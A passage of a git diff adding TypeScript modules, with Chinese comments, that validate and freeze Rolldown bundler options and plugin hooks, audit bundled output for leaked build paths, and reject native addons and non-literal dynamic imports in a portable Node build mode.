isInsidePath(parentPackage.root, real)) + return { ...resolved, id: real }; + /** bare specifier 显式声明的 package 名。 */ + const expectedName = barePackageName(source); + if (expectedName !== undefined) { + /** 已解析模块最近的 manifest 身份。 */ + const dependency = await packageScope(real); + if (dependency !== undefined && dependency.name === expectedName) { + scopes.packages.set(dependency.root, dependency); + return { ...resolved, id: real }; + } + } + throw new Error('Managed Rolldown resolution escaped authorized sources without a package dependency boundary.'); + }, + }, + }); +} diff --git a/packages/core/src/compiler/managed-options.ts b/packages/core/src/compiler/managed-options.ts new file mode 100644 index 0000000..4bcac46 --- /dev/null +++ b/packages/core/src/compiler/managed-options.ts @@ -0,0 +1,507 @@ +import type { + EngineInputOptions, + EngineOutputOptions, + EnginePlugin, +} from './engine-loader.js'; + +/** Rolldown 1.2.2 中 managed Profile 显式支持的 input 字段。 */ +const INPUT_FIELDS = new Set([ + 'external', + 'resolve', + 'platform', + 'shimMissingExports', + 'treeshake', + 'onLog', + 'moduleTypes', + 'experimental', + 'transform', + 'checks', + 'makeAbsoluteExternalsRelative', + 'preserveEntrySignatures', + 'optimization', + 'context', +]); + +/** 由 Core 接管或属于另一条 write/watch/devtools 生命周期的 input 字段。 */ +const FORBIDDEN_INPUT_FIELDS = new Set(['input', 'cwd', 'logLevel', 'onwarn', 'watch', 'devtools', 'output']); + +/** Rolldown 1.2.2 中 generate() 可使用的 output 字段。 */ +const OUTPUT_FIELDS = new Set([ + 'exports', + 'hashCharacters', + 'format', + 'sourcemap', + 'sourcemapBaseUrl', + 'sourcemapFileNames', + 'sourcemapDebugIds', + 'sourcemapIgnoreList', + 'sourcemapPathTransform', + 'sourcemapExcludeSources', + 'banner', + 'footer', + 'postBanner', + 'postFooter', + 'intro', + 'outro', + 'extend', + 'esModule', + 'assetFileNames', + 'entryFileNames', + 'chunkFileNames', + 'sanitizeFileName', + 'minify', + 'name', + 'globals', + 'paths', + 'generatedCode', + 'externalLiveBindings', + 'inlineDynamicImports', + 'dynamicImportInCjs', + 'manualChunks', + 'codeSplitting', + 'advancedChunks', + 'legalComments', + 'comments', + 'polyfillRequire', + 'hoistTransitiveImports', + 'preserveModules', + 'virtualDirname', + 'preserveModulesRoot', + 'topLevelVar', + 'minifyInternalExports', + 'keepNames', + 'strictExecutionOrder', + 'strict', +]); + +/** Core 永远不会传给 generate() 的物理输出字段。 */ +const FORBIDDEN_OUTPUT_FIELDS = new Set(['dir', 'file']); + +/** Rolldown Plugin 的全部当前公开 hook。 */ +const PLUGIN_HOOKS = new Set([ + 'onLog', + 'options', + 'outputOptions', + 'buildStart', + 'resolveId', + 'resolveDynamicImport', + 'load', + 'transform', + 'moduleParsed', + 'buildEnd', + 'renderStart', + 'renderChunk', + 'augmentChunkHash', + 'resolveFileUrl', + 'renderError', + 'generateBundle', + 'closeBundle', + 'banner', + 'footer', + 'intro', + 'outro', +]); + +/** 接受后却不会在 generate-only Host 执行的 Plugin hook。 */ +const FORBIDDEN_PLUGIN_HOOKS = new Set(['writeBundle', 'watchChange', 'closeWatcher']); + +/** Plugin 非 hook 元数据字段。 */ +const PLUGIN_FIELDS = new Set(['name', 'version', 'meta', 'api']); + +/** 当前 managed Profile 拒绝依赖 watch/direct-write 语义的实验字段。 */ +const FORBIDDEN_EXPERIMENTAL_FIELDS = new Set(['devMode', 'incrementalBuild']); + +/** options hook 不得原地或通过返回值改写的 Core 输入边界。 */ +const PROTECTED_INPUT_HOOK_FIELDS = new Set(['input', 'cwd', 'plugins', 'logLevel', 'onwarn', 'watch', 'devtools', 'output', 'tsconfig']); + +/** outputOptions hook 不得原地或通过返回值改写的 Core 输出边界。 */ +const PROTECTED_OUTPUT_HOOK_FIELDS = new Set(['dir', 'file', 'plugins']); + +/** + * 仅读取已验证的 data property。 + * + * @param input 待检查结构。 + * @param label 稳定诊断标签。 + * @returns 不包含 accessor 或 Symbol 语义的字段集。 + */ +function dataProperties(input: unknown, label: string): Record { + if (typeof input !== 'object' || input === null || Array.isArray(input)) + throw new TypeError(`${label} must be an object.`); + if (Object.getOwnPropertySymbols(input).length > 0) + throw new TypeError(`${label} must not contain symbol properties.`); + /** 完整 descriptor 集避免在验证前触发 getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(input); + for (const [field, descriptor] of Object.entries(descriptors)) { + if (!('value' in descriptor)) + throw new TypeError(`${label}.${field} must be a data property.`); + } + return descriptors; +} + +/** + * 复制一个 Rolldown 参数值,与调用方所持嵌套容器解除引用。 + * + * @param value 待快照值。 + * @param label 当前字段路径。 + * @param seen 循环与重复引用记录。 + * @returns 保留函数与可信实例 identity 的冻结结构副本。 + */ +function snapshotValue(value: unknown, label: string, seen = new Map()): unknown { + if (value === null || typeof value !== 'object') + return value; + /** RegExp 是 Rolldown filter 中的值对象,需要复制 lastIndex 而不是冻结原对象。 */ + if (value instanceof RegExp) { + /** 保留 source/flags/lastIndex 的新 RegExp identity。 */ + const copy = new RegExp(value.source, value.flags); + copy.lastIndex = value.lastIndex; + return copy; + } + /** Uint8Array 是 output/plugin 可用的精确字节值。 */ + if (value instanceof Uint8Array) + return Uint8Array.from(value); + /** URL 与其他内建或 Plugin 实例保留可信 identity。 */ + const prototype = Object.getPrototypeOf(value); + if (!Array.isArray(value) && prototype !== Object.prototype && prototype !== null) + return value; + /** 已复制容器用于保留重复引用和终止循环。 */ + const existing = seen.get(value); + if (existing !== undefined) + return existing; + /** 数组和 plain object 使用对应容器复制。 */ + /** 与原值容器类型一致的可写中间副本。 */ + const copy: Record | unknown[] = Array.isArray(value) ? [] : {}; + seen.set(value, copy); + /** 数组允许 index/length data property,但仍拒绝 accessor 和 Symbol。 */ + const descriptors = Array.isArray(value) + ? Object.getOwnPropertyDescriptors(value) + : dataProperties(value, label); + if (Array.isArray(value)) { + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${label} must not contain symbol properties.`); + for (const [field, descriptor] of Object.entries(descriptors)) { + if (!('value' in descriptor)) + throw new TypeError(`${label}.${field} must be a data property.`); + } + } + for (const [field, descriptor] of Object.entries(descriptors)) { + if (Array.isArray(copy) && field === 'length') + continue; + (copy as Record)[field] = snapshotValue(descriptor.value, `${label}.${field}`, seen); + } + return Object.freeze(copy); +} + +/** + * 校验顶层 option 字段并建立结构快照。 + * + * @param input 调用方提供的 option 对象。 + * @param allowed 当前精确 Rolldown 版本已审核字段。 + * @param forbidden Core 接管字段。 + * @param label 稳定诊断标签。 + * @returns 与调用方容器解除引用的副本。 + */ +function snapshotOptions( + input: unknown, + allowed: ReadonlySet, + forbidden: ReadonlySet, + label: string, +): Record { + if (input === undefined) + return {}; + /** 顶层 options 的完整 data property。 */ + const descriptors = dataProperties(input, label); + /** 先验证全部字段,不向未知未来能力默默放行。 */ + for (const field of Object.keys(descriptors)) { + if (forbidden.has(field)) + throw new TypeError(`${label}.${field} is managed by Core.`); + if (field !== 'plugins' && !allowed.has(field)) + throw new TypeError(`${label}.${field} is not supported by this managed Rolldown version.`); + } + /** 参数副本仅包含已审核 data property。 */ + const snapshot: Record = {}; + for (const [field, descriptor] of Object.entries(descriptors)) { + if (field !== 'plugins') + snapshot[field] = snapshotValue(descriptor.value, `${label}.${field}`); + } + return snapshot; +} + +/** + * 展开 Promise/Array/Falsy Rolldown Plugin option。 + * + * @param option 递归 Plugin 声明。 + * @param label 当前字段路径。 + * @param target 展平后的 Plugin 容器。 + */ +async function flattenPlugins( + option: unknown, + label: string, + target: EnginePlugin[], +): Promise { + /** PromiseLike 解析后立即复制其返回外壳。 */ + /** 当前展平节点解析 PromiseLike 后的值。 */ + const value: unknown = typeof option === 'object' && option !== null && 'then' in option + ? await Promise.resolve(option) + : option; + if (value === false || value === null || value === undefined) + return; + if (Array.isArray(value)) { + for (let index = 0; index < value.length; index += 1) + await flattenPlugins(value[index], `${label}[${index}]`, target); + return; + } + target.push(snapshotPlugin(value, label)); +} + +/** + * 复制 Plugin hook 与 filter 外壳,固定当次执行的函数引用。 + * + * @param value 函数或 object-hook。 + * @param label 当前 hook 路径。 + * @returns 与调用方 hook 容器解除引用的副本。 + */ +function snapshotHook(value: unknown, label: string, hook: string): unknown { + if (typeof value === 'function') + return wrapProtectedOptionsHook(value as (this: unknown, ...args: unknown[]) => unknown, hook, label); + if (typeof value === 'string') + return value; + /** object-hook 外壳的全部 data property。 */ + const descriptors = dataProperties(value, label); + /** object-hook 只允许 Rolldown 公开的外壳字段。 */ + const allowed = new Set(['handler', 'order', 'filter', 'sequential']); + for (const field of Object.keys(descriptors)) { + if (!allowed.has(field)) + throw new TypeError(`${label}.${field} is not a supported Plugin hook property.`); + } + if (typeof descriptors.handler?.value !== 'function' && typeof descriptors.handler?.value !== 'string') + throw new TypeError(`${label}.handler must be callable or a string addon.`); + /** handler identity 保留,filter/order 容器建立快照。 */ + const result: Record = { + handler: typeof descriptors.handler.value === 'function' + ? wrapProtectedOptionsHook(descriptors.handler.value as (this: unknown, ...args: unknown[]) => unknown, hook, label) + : descriptors.handler.value, + }; + for (const field of ['order', 'filter', 'sequential']) { + if (descriptors[field] !== undefined) + result[field] = snapshotValue(descriptors[field]!.value, `${label}.${field}`); + } + return Object.freeze(result); +} + +/** + * 捕获一组受保护 option 字段的 presence 与 identity。 + * + * @param options Rolldown 传入或 Plugin 返回的 options。 + * @param fields 受 Core 接管字段。 + * @param label 稳定诊断标签。 + * @returns 用于 hook 前后对比的快照。 + */ +function protectedFieldSnapshot( + options: unknown, + fields: ReadonlySet, + label: string, +): ReadonlyMap { + /** 受检 options 的全部 data property。 */ + const descriptors = dataProperties(options, label); + return new Map([...fields].map(field => [field, Object.freeze({ + present: descriptors[field] !== undefined, + ...(descriptors[field] === undefined ? {} : { value: descriptors[field]!.value }), + })])); +} + +/** + * 确认 Plugin hook 没有改写 Core-owned option。 + * + * @param baseline hook 执行前快照。 + * @param candidate hook 执行后原对象或返回对象。 + * @param fields 受保护字段。 + * @param label 稳定诊断标签。 + */ +function assertProtectedFields( + baseline: ReadonlyMap, + candidate: unknown, + fields: ReadonlySet, + label: string, +): void { + /** hook 执行后对象的受保护字段快照。 */ + const current = protectedFieldSnapshot(candidate, fields, label); + for (const field of fields) { + /** hook 执行前的字段 presence/identity。 */ + const before = baseline.get(field)!; + /** hook 执行后的字段 presence/identity。 */ + const after = current.get(field)!; + if (before.present !== after.present || (before.present && !Object.is(before.value, after.value))) + throw new TypeError(`${label} must not change Core-managed field "${field}".`); + } +} + +/** + * 包装 options/outputOptions hook,阻断对 Core-owned 字段的原地和返回值改写。 + * + * @param handler trusted Plugin 原始 handler。 + * @param hook 当前 hook 名。 + * @param label 稳定诊断标签。 + * @returns 保留 this/参数/返回语义的受管 handler。 + */ +function wrapProtectedOptionsHook( + handler: (this: unknown, ...args: unknown[]) => unknown, + hook: string, + label: string, +): (this: unknown, ...args: unknown[]) => unknown { + /** 只有 options/outputOptions 存在 Core-owned 字段集。 */ + const fields = hook === 'options' + ? PROTECTED_INPUT_HOOK_FIELDS + : hook === 'outputOptions' + ? PROTECTED_OUTPUT_HOOK_FIELDS + : undefined; + if (fields === undefined) + return handler; + if (hook === 'outputOptions') { + return function managedOutputOptionsHook(this: unknown, ...args: unknown[]): unknown { + /** Rolldown 传入的当前 output options。 */ + const options = args[0]; + /** outputOptions 执行前的 Core-owned 字段快照。 */ + const baseline = protectedFieldSnapshot(options, fields, `${label} input`); + /** trusted outputOptions handler 的原始返回值。 */ + const result = handler.apply(this, args); + /** outputOptions 是 Rolldown 同步 hook,thenable 是运行时契约违反。 */ + if (typeof result === 'object' && result !== null && 'then' in result) + throw new TypeError(`${label} must be synchronous.`); + assertProtectedFields(baseline, options, fields, `${label} input`); + if (result !== undefined && result !== null) + assertProtectedFields(baseline, result, fields, `${label} result`); + return result; + }; + } + return async function managedOptionsHook(this: unknown, ...args: unknown[]): Promise { + /** Rolldown 传入的当前 input options。 */ + const options = args[0]; + /** options 执行前的 Core-owned 字段快照。 */ + const baseline = protectedFieldSnapshot(options, fields, `${label} input`); + /** trusted options handler 解析后的原始返回值。 */ + const result = await handler.apply(this, args); + assertProtectedFields(baseline, options, fields, `${label} input`); + if (result !== undefined && result !== null) + assertProtectedFields(baseline, result, fields, `${label} result`); + return result; + }; +} + +/** + * 校验并复制一个 trusted managed Plugin。 + * + * @param value 展平后的 Plugin 候选。 + * @param label Plugin option 位置。 + * @returns Rolldown 可直接执行的冻结外壳。 + */ +function snapshotPlugin(value: unknown, label: string): EnginePlugin { + /** trusted Plugin 外壳的全部 data property。 */ + const descriptors = dataProperties(value, label); + for (const field of Object.keys(descriptors)) { + if (FORBIDDEN_PLUGIN_HOOKS.has(field)) + throw new TypeError(`${label}.${field} is forbidden because Core never runs write/watch lifecycles.`); + if (!PLUGIN_FIELDS.has(field) && !PLUGIN_HOOKS.has(field)) + throw new TypeError(`${label}.${field} is not supported by this managed Rolldown version.`); + } + if (typeof descriptors.name?.value !== 'string' || descriptors.name.value.length === 0) + throw new TypeError(`${label}.name must be a non-empty string.`); + /** Plugin 外壳保留 api identity,其他容器与 hook 外壳建立快照。 */ + const plugin: Record = { name: descriptors.name.value }; + for (const field of ['version', 'meta']) { + if (descriptors[field] !== undefined) + plugin[field] = snapshotValue(descriptors[field]!.value, `${label}.${field}`); + } + if (descriptors.api !== undefined) + plugin.api = descriptors.api.value; + for (const hook of PLUGIN_HOOKS) { + if (descriptors[hook] !== undefined) + plugin[hook] = snapshotHook(descriptors[hook]!.value, `${label}.${hook}`, hook); + } + return Object.freeze(plugin) as unknown as EnginePlugin; +} + +/** 快照后的 Rolldown input options 与已展平 Plugin。 */ +export interface NormalizedManagedInput { + readonly options: EngineInputOptions; + readonly plugins: readonly EnginePlugin[]; + readonly tsconfig?: false | import('../kernel-types.js').SourceFileRef; +} + +/** 快照后的 Rolldown output options 与已展平 Plugin。 */ +export interface NormalizedManagedOutput { + readonly options: EngineOutputOptions; + readonly plugins: readonly EnginePlugin[]; +} + +/** + * 展开、校验并快照一组 Rolldown Plugin option。 + * + * @param option 输入或输出 Plugin option。 + * @param label 稳定诊断标签。 + * @returns 固定顺序的 Plugin 外壳数组。 + */ +async function snapshotPlugins( + option: unknown, + label: string, +): Promise { + /** 递归展平的中间列表不向 Rolldown 暴露。 */ + const flattened: EnginePlugin[] = []; + await flattenPlugins(option, label, flattened); + return Object.freeze(flattened); +} + +/** + * 快照 managed input options 与其 Plugin 树。 + * + * @param input 调用方 input options。 + * @returns 已审核的 Rolldown input 副本。 + */ +export async function normalizeManagedInput(input: unknown): Promise { + /** 原始 input options 的 data property,仅用于取得 Plugin option。 */ + const descriptors = input === undefined ? {} : dataProperties(input, 'inputOptions'); + /** tsconfig 是 Core-owned SourceRef 能力,不进入通用结构复制。 */ + const tsconfig = descriptors.tsconfig?.value; + if (tsconfig !== undefined && tsconfig !== false && (typeof tsconfig !== 'object' || tsconfig === null)) + throw new TypeError('inputOptions.tsconfig must be false or an authorized SourceFileRef.'); + /** 排除受管 tsconfig 后的 input option data property 容器。 */ + const snapshotInput = Object.fromEntries(Object.entries(descriptors) + .filter(([field]) => field !== 'tsconfig') + .map(([field, descriptor]) => [field, descriptor.value])); + /** 不含 plugins/tsconfig 的已审核 input option 结构快照。 */ + const snapshot = snapshotOptions(snapshotInput, INPUT_FIELDS, FORBIDDEN_INPUT_FIELDS, 'inputOptions'); + if (snapshot.experimental !== undefined) { + /** 已快照 experimental 对象的全部 data property。 */ + const experimental = dataProperties(snapshot.experimental, 'inputOptions.experimental'); + for (const field of FORBIDDEN_EXPERIMENTAL_FIELDS) { + if (experimental[field] !== undefined) + throw new TypeError(`inputOptions.experimental.${field} is forbidden by the managed lifecycle.`); + } + } + /** tsconfig 默认关闭,避免 Rolldown 隐式搜索未授权工程文件。 */ + return Object.freeze({ + options: Object.freeze({ + ...snapshot, + tsconfig: false, + }) as EngineInputOptions, + plugins: await snapshotPlugins(descriptors.plugins?.value, 'inputOptions.plugins'), + ...(tsconfig === undefined ? {} : { tsconfig: tsconfig as false | import('../kernel-types.js').SourceFileRef }), + }); +} + +/** + * 快照一组 managed output options 与其 Plugin 树。 + * + * @param input 调用方 output options。 + * @param label 包含 output ID 的诊断标签。 + * @returns 已审核的 Rolldown output 副本。 + */ +export async function normalizeManagedOutput(input: unknown, label: string): Promise { + /** 不含 plugins 的已审核 output option 结构快照。 */ + const snapshot = snapshotOptions(input, OUTPUT_FIELDS, FORBIDDEN_OUTPUT_FIELDS, label); + /** 原始 output options 的 data property,仅用于取得 Plugin option。 */ + const descriptors = dataProperties(input, label); + return Object.freeze({ + options: Object.freeze(snapshot) as EngineOutputOptions, + plugins: await snapshotPlugins(descriptors.plugins?.value, `${label}.plugins`), + }); +} diff --git a/packages/core/src/compiler/physical-path-auditor.ts b/packages/core/src/compiler/physical-path-auditor.ts new file mode 100644 index 0000000..344f039 --- /dev/null +++ b/packages/core/src/compiler/physical-path-auditor.ts @@ -0,0 +1,45 @@ +import path from 'node:path'; + +/** @returns haystack 是否包含完整 needle 字节序列。 */ +function containsBytes(haystack: Uint8Array, needle: Uint8Array): boolean { + if (needle.byteLength === 0 || needle.byteLength > haystack.byteLength) + return false; + /** 物理路径很短且输出在内存中,直接扫描避免把二进制 Asset 强制解码。 */ + outer: for (let offset = 0; offset <= haystack.byteLength - needle.byteLength; offset += 1) { + for (let index = 0; index < needle.byteLength; index += 1) { + if (haystack[offset + index] !== needle[index]) + continue outer; + } + return true; + } + return false; +} + +/** + * 拒绝输出字节中的 Core-known 物理根,且绝不在错误中回显 marker。 + * + * @param bytes 最终待签发输出字节。 + * @param roots project/source/work/package 等物理根。 + * @param message 稳定、无物理路径的失败文案。 + */ +export function assertNoPhysicalPathBytes( + bytes: Uint8Array, + roots: readonly string[], + message: string, +): void { + /** 同一 root 的宿主与 POSIX separator 形态都属于泄漏。 */ + const markers = new Set(); + for (const root of roots) { + if (root.length <= 1) + continue; + markers.add(root); + markers.add(root.split(path.sep).join('/')); + markers.add(root.replaceAll('\\', '/')); + } + /** 编码器保持物理 marker 与输出都按原始 UTF-8 字节比较。 */ + const encoder = new TextEncoder(); + for (const marker of markers) { + if (containsBytes(bytes, encoder.encode(marker))) + throw new Error(message); + } +} diff --git a/packages/core/src/compiler/portable-auditor.ts b/packages/core/src/compiler/portable-auditor.ts new file mode 100644 index 0000000..9d30670 --- /dev/null +++ b/packages/core/src/compiler/portable-auditor.ts @@ -0,0 +1,101 @@ +import type { CompileModuleReport } from '../kernel-types.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import type { AuditedModule } from './managed-auditor.js'; +import type { EngineOutput } from './engine-loader.js'; +import { normalizeNodeBuiltin } from './portable-policy.js'; +import { assertNoPhysicalPathBytes } from './physical-path-auditor.js'; + +/** portable-node 一个入口的固定审计结果。 */ +export interface PortableOutput { + readonly bytes: Uint8Array; + readonly modules: readonly AuditedModule[]; +} + +/** + * 扫描最终输出是否泄露 Core 可知的物理根。 + * + * @param code 最终 ESM 字节文本。 + * @param roots project/source/work/package 等物理根。 + */ +/** + * 审计一个独立 entry 的固定 Node 20 ESM 输出闭包。 + * + * @param output Rolldown generate() 原始内存输出。 + * @param entryId 当前 stable entry ID。 + * @param modules 已授权最终模块图。 + * @param physicalRoots 不得进入产物字节的物理根。 + * @returns 唯一 main.mjs 字节。 + */ +export function auditPortableOutput( + output: EngineOutput, + entryId: string, + modules: readonly AuditedModule[], + physicalRoots: readonly string[], +): PortableOutput { + if (output.output.length !== 1 || output.output[0]?.type !== 'chunk') + throw new Error('Portable Node must produce exactly one entry chunk and no assets.'); + /** 唯一输出必须由固定 naming policy 产生。 */ + const chunk = output.output[0]; + if (chunk.fileName !== 'main.mjs' || !chunk.isEntry || chunk.name !== entryId) + throw new Error('Portable Node output does not match its fixed main.mjs entry contract.'); + if ((chunk.sourcemapFileName !== undefined && chunk.sourcemapFileName !== null) + || (chunk.map !== null && chunk.map !== undefined)) + throw new Error('Portable Node must not produce sourcemaps.'); + /** Chunk 模块必须全部出现在 Plugin 外最终授权图中。 */ + const authorized = new Set(modules.map(module => module.physicalId)); + /** Rolldown 在 treeshake:false 时注入的固定内部 helper 没有 ModuleInfo,不属于作者模块。 */ + const engineInternal = new Set(['\0rolldown/runtime.js']); + if ([...chunk.moduleIds, ...Object.keys(chunk.modules)].some(id => !authorized.has(id) && !engineInternal.has(id))) + throw new Error('Portable Node output references a module outside the audited graph.'); + if (modules.some(module => /\.node(?:[?#]|$)/u.test(module.physicalId)) || /\.node(?:[?#'"`]|$)/u.test(chunk.code)) + throw new Error('Portable Node bundles must not contain native addons.'); + /** 唯一可保留的 external 是已规范化 node: builtin。 */ + for (const imported of chunk.imports) { + if (normalizeNodeBuiltin(imported) !== imported) + throw new Error('Portable Node output contains a residual non-node import.'); + } + /** codeSplitting:false 应只留下同文件内部动态初始化,不得引用其他文件。 */ + if (chunk.dynamicImports.some(imported => imported !== 'main.mjs')) + throw new Error('Portable Node output contains a residual dynamic import.'); + /** 最终代码按实际交付的 UTF-8 字节执行物理路径审计。 */ + const bytes = new TextEncoder().encode(chunk.code); + assertNoPhysicalPathBytes(bytes, physicalRoots, 'Portable Node output contains an absolute build path.'); + return Object.freeze({ + bytes, + modules: Object.freeze([...modules]), + }); +} + +/** + * 合并多个独立 entry 的脱敏模块图,保留全部稳定边。 + * + * @param reports 每个 entry 的 module reports。 + * @returns 按逻辑 ID 排序的 Job 总图。 + */ +export function mergePortableModuleReports( + reports: readonly (readonly CompileModuleReport[])[], +): readonly CompileModuleReport[] { + /** 同一逻辑模块可能出现在多个独立 bundle 中。 */ + const merged = new Map; importedBy: Set }>(); + for (const report of reports) { + for (const module of report) { + /** 当前逻辑 ID 已累积或新建的合并节点。 */ + const current = merged.get(module.id) ?? { kind: module.kind, inputs: new Set(), importedBy: new Set() }; + if (current.kind !== module.kind) + throw new Error('Portable Node module graph contains an inconsistent logical identity.'); + for (const input of module.inputs) + current.inputs.add(input); + for (const importer of module.importedBy) + current.importedBy.add(importer); + merged.set(module.id, current); + } + } + return Object.freeze([...merged.entries()] + .sort(([left], [right]) => compareCodePoints(left, right)) + .map(([id, module]) => Object.freeze({ + id, + kind: module.kind, + inputs: Object.freeze([...module.inputs].sort(compareCodePoints)), + importedBy: Object.freeze([...module.importedBy].sort(compareCodePoints)), + }))); +} diff --git a/packages/core/src/compiler/portable-options.ts b/packages/core/src/compiler/portable-options.ts new file mode 100644 index 0000000..94abcd8 --- /dev/null +++ b/packages/core/src/compiler/portable-options.ts @@ -0,0 +1,107 @@ +import type { PortableNodeCompileOptions } from '../kernel-types.js'; +import { dataProperties } from './job-normalizer.js'; + +/** 运行时校验并快照后的 portable-node 参数。 */ +export interface NormalizedPortableOptions { + readonly resolve?: { + readonly conditionNames?: readonly string[]; + readonly extensions?: readonly string[]; + readonly mainFields?: readonly string[]; + readonly mainFiles?: readonly string[]; + }; + readonly transform?: { + readonly define?: Readonly>; + readonly dropLabels?: readonly string[]; + readonly jsx?: false | 'react' | 'react-jsx' | 'preserve'; + }; + readonly treeshake?: boolean; +} + +/** + * 复制只包含字符串的数组。 + * + * @param value 调用方字段值。 + * @param label 稳定诊断路径。 + * @returns 与调用方断开引用的冻结数组。 + */ +function stringArray(value: unknown, label: string): readonly string[] { + if (!Array.isArray(value)) + throw new TypeError(`${label} must be an array of non-empty strings.`); + /** 数组的 index 读取后立即复制,随后验证每项。 */ + const copy = [...value]; + if (copy.some(item => typeof item !== 'string' || item.length === 0)) + throw new TypeError(`${label} must be an array of non-empty strings.`); + if (new Set(copy).size !== copy.length) + throw new TypeError(`${label} must not contain duplicates.`); + return Object.freeze(copy as string[]); +} + +/** + * 校验并复制 portable-node options 的安全 JSON 子集。 + * + * @param value 调用方 options。 + * @returns 可直接映射到固定 Rolldown preset 的冻结参数。 + */ +export function normalizePortableOptions(value: unknown): NormalizedPortableOptions { + /** portable options 省略时等价于空对象。 */ + const options = dataProperties(value, 'Portable compile options', true); + for (const field of Object.keys(options)) { + if (!new Set(['resolve', 'transform', 'treeshake']).has(field)) + throw new TypeError(`Portable compile options.${field} is unknown.`); + } + /** 可选 resolve 字段只允许四组稳定字符串列表。 */ + let resolve: NormalizedPortableOptions['resolve']; + if (options.resolve !== undefined) { + /** resolve subset 的完整 data property 集。 */ + const fields = dataProperties(options.resolve.value, 'Portable compile options.resolve'); + for (const field of Object.keys(fields)) { + if (!new Set(['conditionNames', 'extensions', 'mainFields', 'mainFiles']).has(field)) + throw new TypeError(`Portable compile options.resolve.${field} is unknown.`); + } + resolve = Object.freeze(Object.fromEntries(Object.entries(fields).map(([field, descriptor]) => [ + field, + stringArray(descriptor.value, `Portable compile options.resolve.${field}`), + ]))); + } + /** 可选 transform 字段不接受 Plugin、inject、alias 或函数。 */ + let transform: NormalizedPortableOptions['transform']; + if (options.transform !== undefined) { + /** transform subset 的完整 data property 集。 */ + const fields = dataProperties(options.transform.value, 'Portable compile options.transform'); + for (const field of Object.keys(fields)) { + if (!new Set(['define', 'dropLabels', 'jsx']).has(field)) + throw new TypeError(`Portable compile options.transform.${field} is unknown.`); + } + /** define 必须是 string-to-string plain data object。 */ + let define: Readonly> | undefined; + if (fields.define !== undefined) { + /** define 的完整 string-to-string data property 集。 */ + const definitions = dataProperties(fields.define.value, 'Portable compile options.transform.define'); + /** 逐 key 排序保证传入 Engine 的结构顺序稳定。 */ + const entries = Object.keys(definitions).sort().map((key) => { + if (key.length === 0 || typeof definitions[key]!.value !== 'string') + throw new TypeError('Portable compile options.transform.define must map non-empty keys to strings.'); + return [key, definitions[key]!.value] as const; + }); + define = Object.freeze(Object.fromEntries(entries)); + } + /** JSX 只开放 Rolldown 精确类型中的三个稳定模式和显式禁用。 */ + const jsx = fields.jsx?.value; + if (jsx !== undefined && jsx !== false && jsx !== 'react' && jsx !== 'react-jsx' && jsx !== 'preserve') + throw new TypeError('Portable compile options.transform.jsx is invalid.'); + transform = Object.freeze({ + ...(define === undefined ? {} : { define }), + ...(fields.dropLabels === undefined ? {} : { dropLabels: stringArray(fields.dropLabels.value, 'Portable compile options.transform.dropLabels') }), + ...(jsx === undefined ? {} : { jsx }), + }); + } + /** 顶层布尔/枚举参数使用 exact runtime union。 */ + const treeshake = options.treeshake?.value; + if (treeshake !== undefined && typeof treeshake !== 'boolean') + throw new TypeError('Portable compile options.treeshake must be boolean.'); + return Object.freeze({ + ...(resolve === undefined ? {} : { resolve }), + ...(transform === undefined ? {} : { transform }), + ...(treeshake === undefined ? {} : { treeshake }), + }) satisfies PortableNodeCompileOptions; +} diff --git a/packages/core/src/compiler/portable-policy.ts b/packages/core/src/compiler/portable-policy.ts new file mode 100644 index 0000000..a75bb92 --- /dev/null +++ b/packages/core/src/compiler/portable-policy.ts @@ -0,0 +1,180 @@ +import { builtinModules } from 'node:module'; +import path from 'node:path'; +import type { ManagedRolldownPlugin } from '../kernel-types.js'; +import type { ManagedEngine } from './engine-loader.js'; + +/** Node 当前 major 内全部 builtin 的非前缀规范名称。 */ +const NODE_BUILTINS = new Set(builtinModules.map(name => name.replace(/^node:/u, ''))); + +/** portable-node 明确支持的作者 TS/JS 扩展名。 */ +const PORTABLE_SOURCE_EXTENSIONS = new Set(['.ts', '.tsx', '.mts', '.cts', '.js', '.jsx', '.mjs', '.cjs']); + +/** + * 把 Node builtin specifier 规范成唯一 `node:` 形式。 + * + * @param source import/require specifier。 + * @returns 合法 builtin 的规范形式,否则 undefined。 + */ +export function normalizeNodeBuiltin(source: string): string | undefined { + /** node:test 等带子路径 builtin 也由 Node 列表精确决定。 */ + const name = source.replace(/^node:/u, ''); + return NODE_BUILTINS.has(name) ? `node:${name}` : undefined; +} + +/** + * 遍历 Oxc ESTree,拒绝需要运行时隐式解析的模块表达式。 + * + * @param root Rolldown 精确版本 parser 返回的 AST。 + * @param label 不含物理绝对路径的模块标签。 + */ +function auditPortableAst(root: unknown, label: string): void { + /** 使用对象 identity 防止未来 AST 引入父指针时循环。 */ + const seen = new Set(); + /** 深度优先检查所有普通 AST node/container。 */ + const visit = (value: unknown): void => { + if (typeof value !== 'object' || value === null || seen.has(value)) + return; + seen.add(value); + if (Array.isArray(value)) { + for (const item of value) + visit(item); + return; + } + /** 只读取 parser 产生的 plain node data。 */ + const node = value as Record; + if (node.type === 'ImportExpression') { + /** portable runtime 必须让 Rolldown 在构建时看见完整动态依赖。 */ + const source = node.source as Record | undefined; + if (source?.type !== 'Literal' || typeof source.value !== 'string') + throw new Error(`Portable Node module "${label}" contains a non-literal dynamic import.`); + if (/\.node(?:[?#]|$)/u.test(source.value)) + throw new Error(`Portable Node module "${label}" imports a native addon.`); + } + if (node.type === 'CallExpression') { + /** CommonJS require 同样只允许静态单字符串参数。 */ + const callee = node.callee as Record | undefined; + if (callee?.type === 'Identifier' && callee.name === 'require') { + /** require 的完整实参数组。 */ + const arguments_ = node.arguments as unknown[] | undefined; + /** 唯一允许的首个字符串 Literal 参数。 */ + const first = arguments_?.[0] as Record | undefined; + if (arguments_?.length !== 1 || first?.type !== 'Literal' || typeof first.value !== 'string') + throw new Error(`Portable Node module "${label}" contains a non-literal require.`); + if (/\.node(?:[?#]|$)/u.test(first.value)) + throw new Error(`Portable Node module "${label}" imports a native addon.`); + } + } + if (node.type === 'ImportDeclaration' || node.type === 'ExportNamedDeclaration' || node.type === 'ExportAllDeclaration') { + /** 静态 import/export 的 source 若存在必须是普通字符串。 */ + const source = node.source as Record | null | undefined; + if (source !== null && source !== undefined + && (source.type !== 'Literal' || typeof source.value !== 'string')) { + throw new Error(`Portable Node module "${label}" contains an invalid static import.`); + } + if (typeof source?.value === 'string' && /\.node(?:[?#]|$)/u.test(source.value)) + throw new Error(`Portable Node module "${label}" imports a native addon.`); + } + if (node.type === 'NewExpression') { + /** new 